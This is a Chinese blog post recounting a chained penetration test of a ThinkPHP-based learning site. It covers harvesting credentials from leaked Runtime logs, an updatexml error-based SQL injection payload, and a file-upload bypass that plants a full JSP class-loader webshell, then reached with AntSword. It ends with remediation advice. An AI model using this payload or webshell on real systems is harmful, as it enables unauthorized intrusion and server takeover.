记一次酣畅淋漓的组合拳渗透测试:从日志泄露到后台GetShell全记录

张开发
2026/4/16 22:40:32 15 分钟阅读

分享文章

记一次酣畅淋漓的组合拳渗透测试:从日志泄露到后台GetShell全记录
前言一次偶然的 FOFA 搜索让我发现了一个基于 ThinkPHP 框架的学习平台。原本以为只是常规的信息收集没想到一路从日志文件泄露打到SQL注入最后配合后台文件上传成功 GetShell。整个过程环环相扣属于典型的“组合拳”打法。本文将完整复盘此次渗透过程适合刚入门渗透测试的小伙伴参考思路大佬轻喷。⚠️ 严正声明本文涉及的技术仅供网络安全学习与防御研究之用严禁用于非法入侵。文中目标已做脱敏处理。目录 前言一、日志泄露1.1 漏洞发现1.2 敏感信息提取1.3 日志遍历二、账号密码登录2.1 获取凭证2.2 登录后台三、SQL注入3.1 发现注入点3.2 报错注入实战四、文件上传GetShell4.1 失败的 PHP 尝试4.2 转向 JSP 突破4.3 连接与提权五、总结与修复建议 攻击链复盘️ 修复方案一、日志泄露漏洞点ThinkPHP 调试模式开启导致 Runtime 日志可被遍历访问。1.1 漏洞发现通过 FOFA 搜索引擎结合 ThinkPHP 特征指纹定位到了目标站。第一时间尝试访问常见的 Runtime 日志路径https/www.xxx.xxx/Application/Runtime/Logs/Home/21_12_31.log没想到目标站竟然没有做任何访问限制直接返回了当天的运行日志文件。1.2 敏感信息提取日志文件记录了大量的 SQL 执行语句和 POST 请求参数。通过搜索关键字 123456 或 password我们直接定位到了一个用户的账号和密码。1.3 日志遍历更致命的是通过修改 URL 中的 21_12_31 年月日数值我们可以任意遍历历史日志这意味着目标站过去每一天的运维记录和登录凭证全都被扒了个精光。二、账号密码登录2.1 获取凭证从泄露的日志中成功提取出一组有效的账号密码由于是测试报文密码竟在日志中明文显示了。2.2 登录后台寻找后台登录地址 http://www.xxxx.xxx/login.html输入获取到的凭证。毫无悬念登录成功。三、SQL注入进入账号后权限变大但我的目标还是服务器权限。随便点击功能点习惯性地在每个 GET 参数后加个单引号 测一测SQL。3.1 发现注入点在查看课表的页面发现 URLhttp://www.xxx.xxx/stu/timetable-new.jsp?deptTE002023.2 报错注入实战加单引号后页面报错直接祭出updatexml 报错注入 Payload and updatexml(1,concat(0x7e,user(),0x7e),1)页面返回~root127.0.0.1~确认当前数据库连接用户为root 权限四、文件上传GetShell后台逛了一圈发现一个“寒假思维导图”的上传入口。虽然前端限制了图片格式但这难不倒我们。4.1 失败的 PHP 尝试既然是ThinkPHP框架首先就要尝试上传 PHP 一句话木马但是失败了。推测 ThinkPHP 可能在该目录下禁用了 PHP 解析或者 WAF 拦截了php后缀。4.2 转向 JSP 突破通过查看网页源码和响应头发现目标后端不仅有 PHP还混杂了Java/JSP环境对应文件上传接口可能是 Java 处理的。既然 PHP 不行那就上JSP 大马。抓包将文件后缀名从.gif修改为.jsp放行。JSP 一句话参考%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz Class.forName(sun.misc.BASE64Decoder); return (byte[]) clazz.getMethod(decodeBuffer, String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz Class.forName(java.util.Base64); Object decoder clazz.getMethod(getDecoder).invoke(null); return (byte[]) decoder.getClass().getMethod(decode, String.class).invoke(decoder, str); } } % % String cls request.getParameter(passwd); if (cls ! null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %4.3 连接与提权通过返回包找到上传路径http://www.xxxx.xxx/upload/files/68794956-7044-43AF-A82C-03140352F73E.jsp使用蚁剑连接密码passwd。成功 GetShell且由于中间件权限较高直接拿到了服务器的高权限。五、总结与修复建议 攻击链复盘未授权访问→ ThinkPHP 日志泄露信息泄露→ 日志中明文存储了登录凭证越权/正常登录→ 进入后台扩大攻击面Web漏洞→ 后台参数 SQL 注入Root权限文件上传→ 后缀名校验不严 解析漏洞 → GetShell️ 修复方案关闭调试模式生产环境务必设置APP_DEBUG为false并限制/Runtime目录访问权限。日志脱敏避免在日志中记录明文密码或敏感 Token。参数过滤修复 SQL 注入使用预编译或强制类型转换。上传校验对上传文件进行内容校验而非仅后缀校验并将上传目录设置为不可执行脚本。

更多文章